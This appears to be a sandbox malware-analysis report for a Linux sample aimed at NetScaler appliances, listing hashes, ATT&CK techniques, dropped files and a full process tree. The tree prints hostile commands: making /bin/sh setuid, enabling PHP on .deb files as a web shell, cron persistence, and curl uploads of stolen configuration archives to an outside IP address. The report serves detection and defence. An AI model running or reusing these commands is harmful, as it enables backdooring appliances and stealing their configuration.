2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7

Analysis

max time kernel
24s
max time network
26s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
03/10/2026, 11:43

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
Size 24KB
Sample261003-nvrlysys9l
SHA256 2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7
MD5 a7fe433d8982d52cabb09c8b5c9386a9
SHA1 c0629d26fea48597d5a65fe41499cc7a08e77341
SHA512 c287d3bafa45476887b82b25866aa42e856ef853bcc3acb33d0598284412c5d312328562b4a4a8b963cbb91ba08d1bdd01ec67ba3127df86fb372362cb74dc47
SSDEEP 768:CFxadn2345FPWdWmS1nwuxli8o7TUILRyUKtvZC17:CQ2I5FPWdPSNwuxli8o80RyhvZ07
TLSH
T18EB2EBC17C7E5DB583D7C47CEB96E442B7666807100A2464B9BCA3AC6F68434D2F1AE8
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

antivm discovery execution persistence privilege_escalation

Malware Config

Signatures

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalation

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.krnLyr	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 4 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 3 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	ps
File opened for reading	/sys/devices/system/cpu/online	pkill
File opened for reading	/sys/devices/system/cpu/online	pkill

Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

Execute scripts via Unix Shell.

execution

Unix Shell

T1059.004

pid	Process
812	sh
733	sh

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/3/status	pkill
File opened for reading	/proc/25/cmdline	pkill
File opened for reading	/proc/593/cmdline	pkill
File opened for reading	/proc/100/status	pkill
File opened for reading	/proc/78/status	ps
File opened for reading	/proc/320/status	ps
File opened for reading	/proc/337/cmdline	pkill
File opened for reading	/proc/6/status	ps
File opened for reading	/proc/7/stat	ps
File opened for reading	/proc/111/cmdline	ps
File opened for reading	/proc/707/stat	ps
File opened for reading	/proc/217/status	pkill
File opened for reading	/proc/320/cmdline	pkill
File opened for reading	/proc/16/cmdline	pkill
File opened for reading	/proc/42/cmdline	pkill
File opened for reading	/proc/675/status	pkill
File opened for reading	/proc/27/stat	ps
File opened for reading	/proc/574/stat	ps
File opened for reading	/proc/10/cmdline	ps
File opened for reading	/proc/692/status	ps
File opened for reading	/proc/330/status	pkill
File opened for reading	/proc/171/cmdline	pkill
File opened for reading	/proc/594/status	pkill
File opened for reading	/proc/650/status	ps
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/640/cmdline	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/643/cmdline	pkill
File opened for reading	/proc/6/status	pkill
File opened for reading	/proc/6/cmdline	ps
File opened for reading	/proc/100/cmdline	ps
File opened for reading	/proc/141/stat	ps
File opened for reading	/proc/15/cmdline	pkill
File opened for reading	/proc/137/stat	ps
File opened for reading	/proc/318/cmdline	pkill
File opened for reading	/proc/18/cmdline	pkill
File opened for reading	/proc/20/status	pkill
File opened for reading	/proc/299/stat	ps
File opened for reading	/proc/640/stat	ps
File opened for reading	/proc/22/status	pkill
File opened for reading	/proc/295/status	pkill
File opened for reading	/proc/1/status	pkill
File opened for reading	/proc/9/status	pkill
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/2/status	ps
File opened for reading	/proc/26/status	ps
File opened for reading	/proc/306/cmdline	pkill
File opened for reading	/proc/14/status	pkill
File opened for reading	/proc/23/status	pkill
File opened for reading	/proc/655/status	pkill
File opened for reading	/proc/6/stat	ps
File opened for reading	/proc/228/status	ps
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/15/status	pkill
File opened for reading	/proc/22/cmdline	pkill
File opened for reading	/proc/640/status	ps
File opened for reading	/proc/717/cmdline	pkill
File opened for reading	/proc/8/status	ps
File opened for reading	/proc/302/status	ps
File opened for reading	/proc/17/status	pkill
File opened for reading	/proc/24/status	pkill
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/651/status	ps
File opened for reading	/proc/588/status	pkill

System Network Configuration Discovery 1 TTPs 5 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
733	sh
734	gzip
812	sh
813	gzip
717	pkill

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.slap.cron	2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown

/tmp/2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
/tmp/2220044a55da27f7c528d5a5da1d26d15bae966a85c440b084c57ab0798a96d7.unknown
1⤵
- Writes file to tmp directory
PID:651
- /bin/mkdir
  mkdir -p /nsconfig/.slap /var/netscaler/logon/LogonPoint/custom
  2⤵
  PID:653
- /bin/cat
  cat
  2⤵
  PID:657
- /bin/cat
  cat
  2⤵
  PID:660
- /bin/mkdir
  mkdir -p /var/tmp/.ux
  2⤵
  PID:663
- /bin/cat
  cat
  2⤵
  PID:667
- /bin/cat
  cat
  2⤵
  PID:670
- /bin/cat
  cat
  2⤵
  PID:673
- /bin/chmod
  chmod 700 /nsconfig/.slap /nsconfig/.slap/agent.pl /nsconfig/.slap/bridge.pl
  2⤵
  PID:677
- /bin/cat
  cat
  2⤵
  PID:682
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.slap.receiver
  2⤵
  PID:683
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver
  2⤵
  PID:684
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb
  2⤵
  PID:686
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.slap.receiver
  2⤵
  PID:688
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/.ctxs.receiver
  2⤵
  PID:690
- /bin/cp
  cp /var/netscaler/logon/LogonPoint/custom/.slap.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:693
- /bin/chmod
  chmod 644 /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /nsconfig/.slap/.slap.receiver /nsconfig/.slap/.ctxs.receiver /nsconfig/.slap/receiver.deb
  2⤵
  PID:694
- /bin/chmod
  chmod 6555 /bin/sh
  2⤵
  PID:696
- /bin/chmod
  chmod 700 /nsconfig/.slap/boot.sh
  2⤵
  PID:697
- /usr/bin/perl
  perl -ni -e "print unless m{AliasMatch\\s+\\*/logon/LogonPoint/custom/receiver}" /etc/httpd.conf
  2⤵
  PID:698
- /bin/grep
  grep -q "Alias /logon/LogonPoint/custom/receiver.v2.min.css" /etc/httpd.conf
  2⤵
  PID:700
- /bin/cp
  cp /etc/httpd.conf /etc/httpd.conf.slap.bak
  2⤵
  PID:701
- /bin/cat
  cat
  2⤵
  PID:702
- /usr/bin/perl
  perl -pi -e "s/php_flag engine off/php_flag engine on/" /etc/httpd.conf
  2⤵
  PID:703
- /bin/grep
  grep -q "AddType application/x-httpd-php .deb" /etc/httpd.conf
  2⤵
  PID:704
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:705
- /bin/grep
  grep -q "[.]slap/agent.pl"
  2⤵
  PID:707
- /bin/ps
  ps -axww
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:706
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /nsconfig/rc.netscaler
  2⤵
  PID:709
- /usr/bin/setsid
  /usr/bin/setsid /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:708
- /bin/perl
  /bin/perl /nsconfig/.slap/agent.pl
  2⤵
  PID:708
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /nsconfig/rc.netscaler
  2⤵
  PID:710
- /usr/bin/crontab
  crontab -l
  2⤵
  PID:711
- /bin/grep
  grep -q /nsconfig/.slap/agent.pl /tmp/.slap.cron
  2⤵
  PID:712
- /bin/grep
  grep -q /nsconfig/.slap/boot.sh /tmp/.slap.cron
  2⤵
  PID:713
- /usr/bin/crontab
  crontab /tmp/.slap.cron
  2⤵
  - Creates/modifies Cron job
  PID:714
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/slapshot.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:716
- /usr/bin/pkill
  pkill -f /var/tmp/.ux/whipd.py
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:717
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:718
- /bin/date
  date -u
  2⤵
  PID:720
- /usr/bin/nohup
  nohup /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:719
- /usr/bin/id
  id
  2⤵
  PID:721
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/slapshot.py --listen 127.0.0.1:9909 --pidfile /var/tmp/.ux/agent.pid
  2⤵
  PID:718
- /usr/bin/python3
  /usr/bin/python3 /var/tmp/.ux/whipd.py --bind 0.0.0.0 --port 9910 --agent 127.0.0.1:9909 --token slap --pidfile /var/tmp/.ux/whip.pid
  2⤵
  PID:719
- /bin/uname
  uname -a
  2⤵
  PID:722
- /bin/ls
  ls -l /var/netscaler/logon/LogonPoint/custom/.slap.receiver /var/netscaler/logon/LogonPoint/custom/.ctxs.receiver /var/netscaler/logon/LogonPoint/custom/receiver.deb /etc/httpd.conf
  2⤵
  PID:723
- /bin/httpd
  /bin/httpd -t -f /etc/httpd.conf
  2⤵
  PID:724
- /bin/grep
  grep -in php /etc/httpd.conf
  2⤵
  PID:725
- /usr/bin/tail
  tail -n 80
  2⤵
  PID:726
- /bin/sed
  sed -n "1395,1425p" /etc/httpd.conf
  2⤵
  PID:727
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error_log
  2⤵
  PID:728
- /usr/bin/tail
  tail -n 80 /var/log/httpd/error.log
  2⤵
  PID:729
- /usr/bin/tail
  tail -n 40 /var/log/ns.log
  2⤵
  PID:730
- /bin/mkdir
  mkdir -p /var/tmp/.s2loot
  2⤵
  PID:731
- /bin/tar
  tar czf /var/tmp/.s2loot/nsconfig.tgz .
  2⤵
  PID:732
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:733
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:734
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/nsconfig.tgz http://213.209.159.55:443/t/906b4f/loot_nsconfig.tgz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:735
- /bin/tar
  tar czf /var/tmp/.s2loot/hist.tgz /nsconfig/ns.conf.0 /nsconfig/ns.conf.1 /nsconfig/ns.conf.2 /nsconfig/ns.conf.3 /nsconfig/ns.conf.4 /nsconfig/ns.conf.bak
  2⤵
  PID:811
- - /bin/sh
    /bin/sh -c gzip
    3⤵
    - Command and Scripting Interpreter: Unix Shell
    - System Network Configuration Discovery
    PID:812
  - - /bin/gzip
      gzip
      4⤵
      System Network Configuration Discovery
      PID:813
- /usr/bin/curl
  curl -sk -H Expect: -m 300 -T /var/tmp/.s2loot/hist.tgz http://213.209.159.55:443/t/906b4f/loot_nshist.tgz
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:814
- /bin/rm
  rm -rf /var/tmp/.s2loot
  2⤵
  PID:818
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /etc/httpd.conf http://213.209.159.55:443/t/906b4f/loot_httpd.conf
  2⤵
  - Checks CPU configuration
  PID:819
- /usr/bin/curl
  curl -sk -H Expect: -m 60 -T /var/tmp/.slap-diag.txt http://213.209.159.55:443/t/906b4f/loot_diag.txt
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:820

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Unix Shell

T1059.004

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

agent.pl

Path /nsconfig/.slap/agent.pl
Size 4KB
SHA256 94c5ccd3a35357b24fe9474abab665a2e6205a60d8c6a82e4016d3b94d3fb761
MD5 de6f7c87e8f5be485243441ae7ab5bd0
SHA1 7249acf88b30ad5b7bbf3c10299e16780f3d0dac
SHA512 88b9e76e1aac24b7f7806d3b8dbcd8ccda912b0f390b8fee2c18cbe5dd4d6494d579a8e0e0981fdcc1b3c2e31d8374f861d37c077d13ef1a018139e357c7f668
SSDEEP 96:IFWaH88gEe/qnao0AHt2tRqS2kJRCR7jXCtJrC9SAqCGCSeCvCSEx3a32Q:IFW+hD2tRgwt4UADH4K1Ba32Q
TLSH
T10E81CE843DFBAA7684F2D02CEFDAC41171B9849B8509E9A07D7C42BCAF45930D6F52C9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

boot.sh

Path /nsconfig/.slap/boot.sh
Size 2KB
SHA256 cd6b7acea0bdbcf8b6e8b2e62ea710ab3d9e59111202ac7a733d109c27c948fd
MD5 88145975b4c7f28158926fc2d263876f
SHA1 cf754aac1af84fc2001057ad75560b31f66c1b1b
SHA512 f892e2437d1ec9acbca7353ba0bce3f66e33410bfb7975f8fa54c504f7169b8a9bd7785e55ce0f3a216c44fe0b4befe0c6ea5d4e778936ba8c6eed5694093bf1
TLSH
T1A55169F3B41D4EF61AD98BFC739C9285ABD4D09E286534A1F544B328946814CF4E29B8
MD5 SHA1 SHA512 TLSH

Submit Download

bridge.pl

Path /nsconfig/.slap/bridge.pl
Size 697B
SHA256 f09c1bf2c6148e9e8f3a4be7b26b365fc5fdf95d768abf78a7ed770b9c5debad
MD5 bc21f7306742c9e9d2f10a3542463be2
SHA1 237ca70151ef13c42c5bbdc7c553bc561a90db08
SHA512 af47a95a1d6455c62e978ae3b8dc50cb3216968a56039bd2904c2d1cf5e70d055a21af09f187eb5663cd8c02b78b26da08ce3070c098f92390966247aa087d57
TLSH
T1E601FE204CD34B51C0FEA04AF608914792CA843B4EAAB8BE7E50478E9F04374B0F76C0
MD5 SHA1 SHA512 TLSH

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 37B
SHA256 370368e6491d9344962b6a58a771fb24e500f84e9d99379f61969e3068ed5b4b
MD5 d5800c883436ef1f94115dcab532015a
SHA1 a46bf0376f7876ce348c8a0d053762291f08ea33
SHA512 a4bb5355a14d262c50307f77c1806751ae606aff6022af4c515311a6d3f289d72f7110a9bc7c71b1af74f90ccf569dbc168646292761e2c0ad9e11c6c36034af
MD5 SHA1 SHA512

Submit Download

rc.netscaler

Path /nsconfig/rc.netscaler
Size 71B
SHA256 4c1a2751a1b474cc4873fd78d237d003a25dc45205b94577265443d65d2432d2
MD5 79b9b312be1c2b9d60a03e736eae4c5f
SHA1 09fce7d4b32dcba305a2d07f80a4292e0d4347e5
SHA512 a244df78c6246342d607320f603d85946d0b5e6d8cd723446c2c8638ae42c1ba8132b3d93a24f5923ff9f6cc5b5961885d54e77a1838990b42507efa94d3e9cc
TLSH
T17DA0024A260CEDF3CFCB9AB4D65724AA3F5142843E410521B404F2C4E8201CE7E39004
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 45B
SHA256 0759755783a468f3bc18dcbfde22fdb21bb754aee300137f26ee1aa1893dd3cd
MD5 80bdf2e82a187390554f344fe42b85e5
SHA1 8fce99a4a31526033f92cb5428491d9fdf911946
SHA512 b61ac653dd02118ad48ac80add43744cac3b338aeb7ce3dee36e63ca64380330a909d3dcfaf5a2c628b3ad91efed2e9e7b0988f8b694fee000c753402f5ed580
MD5 SHA1 SHA512

Submit Download

.slap.cron

Path /tmp/.slap.cron
Size 89B
SHA256 1a7762fb2dc20ab46e650818ba79e47c9758b02f2b0fcb12a7ed15cebc7e392f
MD5 51981d72e97719cd5b287c7dbb830cfd
SHA1 e093784d86c1d60bbd0b19545644f4156cafca3b
SHA512 bc62e23c068936d26a421d72673a67417dd4edc1a2bc53ff403169ea37b05301cfb761da422b9e9fbb2e6e96ed0117e3c1b61689d3b5d03b4ca3b8f6a03d067d
TLSH
T154B0013A950CADF78A8E5AB8E3A638BE7E1643843E410561745CF2C4E82C38F7A39000
MD5 SHA1 SHA512 TLSH

Submit Download

.slap.receiver

Path /var/netscaler/logon/LogonPoint/custom/.slap.receiver
Size 493B
SHA256 9f792058552da5cbbb08693694d31a31d360be8402a3c9d41584d34e3b569be7
MD5 7279e5629e02ea3fc9392365f1c005c6
SHA1 838103a40d8530ae9a7eaaf3467aa653443b1bd7
SHA512 3040631b49a846d2c65aa11b23b366b3bfc59adbdd612462549dd421a2fdf5309114af5a078bc6b416f82ee2eabea14120da3108d73c65dd8d6c076fad3a6941
TLSH
T1F9F09E0C31E625B1CDBFBC70D75E2C08A1690001151A9A5138C25DCD1DF812D96B68E6
MD5 SHA1 SHA512 TLSH

Submit Download

tmp.krnLyr

Path /var/spool/cron/crontabs/tmp.krnLyr
Size 278B
SHA256 81093b9585a7cb61a3086f3028e4ebeda07aff73e567902d0dfeaafdb751e9ab
MD5 f1d782731bebadf6e854ca4831217650
SHA1 1cd6dfe2d8b17267eae4276bfc324e6da118d26b
SHA512 4aa3547651a879f5b9458a6355c6b4072f4a34ac2044d0262226f7956a495979d4afa05fd34a81b8b59287857f1c49335b877cdb198a1134460b46fcb7154c56
TLSH
T16FD02B3A6A04EDB74A4907B8929B383DAD41D17C5C0A4E11F08DA054951D34F3F70451
MD5 SHA1 SHA512 TLSH

Submit Download

hist.tgz

Path /var/tmp/.s2loot/hist.tgz
Size 45B
SHA256 a63f090f576726e3cc3e0a696db5a063f2ec20f73fa7d642d1bd5b8de9e15b80
MD5 8a547a58cbf4317adcadc18bed64c307
SHA1 3333ca8e04207a8641ff943afc2b29ceee3c6c2b
SHA512 4a952255af334834563b9cf65123fa2fd0f58571bfdff7f05d2f2661be2fb89b26985b61c48b5abb33bf3207edc11308f62681510d218395ee5814ae5c423496
MD5 SHA1 SHA512

Submit Download

nsconfig.tgz

Path /var/tmp/.s2loot/nsconfig.tgz
Size 2KB
SHA256 2c382a2276310d2a80abd0a55ca01af09dc23835fd63f58258cb50507ebcf5ba
MD5 5ee2d879ae2e2d18068cccd4f52fcaeb
SHA1 98cd9b43ecb6218c3d65f242f5823ad339d118fc
SHA512 dcff14f17e644cfc681891241d01da9f33173a366d225dace598fa9380d03e77fa35deeac644d1a72b71e5616290984fa7fb216106594c664c08f0fdc9441665
TLSH
T1AA514D09495C1159CFD9709EEF64F71AFC51DCBC61CB4C2312CEE88A9876B216D23E94
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-agent.log

Path /var/tmp/.slap-agent.log
Size 63B
SHA256 6686e0f601f892bb8f8e47727170eb99045f66623834e5be2cb1984dfe7a88e1
MD5 2139e7e90aa4d9d126e20970e8149fbd
SHA1 ceb75170a5d023fcdabfb170ee52b2c5e83fea2b
SHA512 b0d1e4592a87f22f161b269b00f32eebba8d4ef1400d78d26c1ae9f5293321cb76e9bce56aa641ff69152096fb9234807a700b19882d1806d616003936c1c6ac
TLSH
T18DA0021259D961541A9629915319ECF68717004F2F0E1225E1704304A427A74B6DFAC2
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 54B
SHA256 1c04a409d74725f1142c44ff2f03bcff7ab537fbe0cda79d57dccf568f4a8e5a
MD5 5b8207bb9ed9f32789046235fe32324c
SHA1 df0e95899e3a15eadd32c5e02543d33ac35ab6fb
SHA512 83dd18d5e7dce8506da3e3899adacdf3edf448239de3e977857c3fcf8d1c5616bda4d246436b2f603da61e5c31f9f126d104db7a19dc5db97d55a8a67b7a58ff
TLSH
T11E9002B151847A25242B54C6B9C59C05522994AD045D9561A42183A546C142B0B89111
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 93B
SHA256 e85644080721a998a5f159335f06d141374ea0433bb19c0b5d592414fe894dd7
MD5 5134895fd814f279dddb1874a6963c81
SHA1 e28bd3ff3de3f53749073a91d23a23bcbb49697a
SHA512 970277a391dd6112177989efdafd098bf6073861098c50fd2b5a58e6822aa93075bb3fd1690325b7b2e5e4ce9a432af8a996b961b951c4858686975e3c907a51
TLSH
T174B0127002907512302780D5F4E04CC71237D89802597C10BA50C393418051E1785001
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 201B
SHA256 f972cdade32852c9e30f4bc837b1ec3e8f6b7336164bb38f1aff09230bc74a8d
MD5 7456bc82fbd537a4f831f454db0ad2d8
SHA1 987e600dd17504b76923841c760330272b64aeb6
SHA512 3102c1e38a6a5dc5db5b4e68b5bb911a6e0e38f205b890300e05a70aed2eb0cfb9714a98de2b9d6b02f14d27aaa8748237a879593c0c6aae113a33be1ad3c2ff
TLSH
T10AD0229071A073836947C0C2F8F68CA6827B94A6063A7B00F90D83A2025020F9B83810
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 225B
SHA256 d2837eb58e3ad0ac0ccc14742c32137bf16b6000e24af426eebc5f58085b40fc
MD5 5a32b457b30cea702e883ba2238c8be2
SHA1 dd1c6864edc5eb91dbf0b67b408e7535493185ac
SHA512 b07e8ae178d0aa8e6504b02a76644bfde89eb5d3a00fb5d5337cb06c0b1e160c05ace218ae28579b4efe4e31697de4e79bce0cd30ad516b12f66888a01a23d55
TLSH
T1C1D0238070A0F3835983C0C3F4F5CCA6817780D1063A7B00F81C8392060020FAB43500
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-diag.txt

Path /var/tmp/.slap-diag.txt
Size 852B
SHA256 ffa764333720eb47b94c5fb3c90d308f8e3dd44f4c316037e3cd3d0033e338de
MD5 83ef7540a871c25873162323b328bdf5
SHA1 4749033261e269fcb97a9f08ee78d4f6806e9a5f
SHA512 9c3a97ac78ca3ad5b6a2844715b41a342bee5f16470933f97a35a4b74063e04e9e50e46b823bd5de9ce8491d07110d9134c1ddacbe73b5bc6bf5ac2a9fe22985
TLSH
T139018CD7B81AE23B57D2CDF1A8DA47E5816280670D4E7FA49ECDB320C1061961FD361D
MD5 SHA1 SHA512 TLSH

Submit Download

.slap-httpd-test.log

Path /var/tmp/.slap-httpd-test.log
Size 185B
SHA256 124dcd66bfa2793e9e36c9c652a524838d0e8c835d03bd1835048d73b8c638e9
MD5 2ac408710810fc78cf374b59e456e4f8
SHA1 d0d3ebd3f3bb42a88cd9b93fd4a6fdc818e65742
SHA512 22e1b6a850ce937b2fa3f741de0d3e6aaf2ef02942214ecc96eef0d3cdf120076b2fa35f2304fc914719790d6cbceae559ef41a98766286813e41932c986672b
TLSH
T107C012FC35038A3D23C204E105D92BEA8190430389C475E28294B530C4867B02BB745F
MD5 SHA1 SHA512 TLSH

Submit Download

agent.log

Path /var/tmp/.ux/agent.log
Size 55B
SHA256 260b50949e180c2f9b8cd2be46ea605550d834a06d4a7971bf0f19735fcc268c
MD5 75b6140eb77f15a646bb53941424fefd
SHA1 3e6305f6949ab24a2c630788372bec30f59f4776
SHA512 27dd76ddcc488181e90463159e7f1d9f0a17026473d62bd267c55d3e685c285de50d318b19ade6ac4b0fde7e05f48fbe0eabc2c7d3b46f3eb620c8201fd27501
TLSH
T1C59002221410A49E11A2834B723592D6DD11E103425520107A55048240954558533010
MD5 SHA1 SHA512 TLSH

Submit Download

slapshot.py

Path /var/tmp/.ux/slapshot.py
Size 7KB
SHA256 be559fb34104b8ce491082276084e76736f5a5ec6b8d05fe31adc60ec063e447
MD5 24f4f949a8df9cb4be3cf8d0cb89eb5d
SHA1 68b56277c3f88b78209fe8dfb4bbeff0b071292d
SHA512 a6ba111301443af786012e1258a77d44239de3bdd997cb8755b5f4cc97ec7236125b2999baa5e4e8f49cd2be4448bff818552db7841b9bd28483976bfd96f61d
SSDEEP 96:M56N8NbBZ2Ok7bsOwFF5r5QYm97WmVUgwyXGoFPWnXAuxuBTFiUbcjHa:wF2345FP3mdWmSgwy9WnXAuxKc3Ha
TLSH
T131F13F86AC645965C397C8965C62E4427727BC07725E1138FAFCC3E42FA887582F1EF8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

whipd.py

Path /var/tmp/.ux/whipd.py
Size 4KB
SHA256 dc07e82e31f874c386e74bb5882c269a3d33a774a7b9772b11830bf6d33bfc7e
MD5 9753dbf79692d424d30abaf39e776a1e
SHA1 8ee23e2fc68366e9a07d8fd682bdb3539573a44f
SHA512 3a886d2a3671b85979d2afaf214efc94f5c1c4786f8d6dd7b314deb945ae39d871992d45034e8492177f016e5e630a3a37f1efdc5d74d20997261e581b523719
SSDEEP 96:kXai6ZdGd3Tgwy8rnQP71TKml0eK3uVUKigRRGLZq5XFEqhi:q6ZItgwyqQP7AgXK3umKigRRGLZqLEqI
TLSH
T125A18602586959F49343C52698E3F956E73E3917200F24A9397DD3C91F64876C2B2EFC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads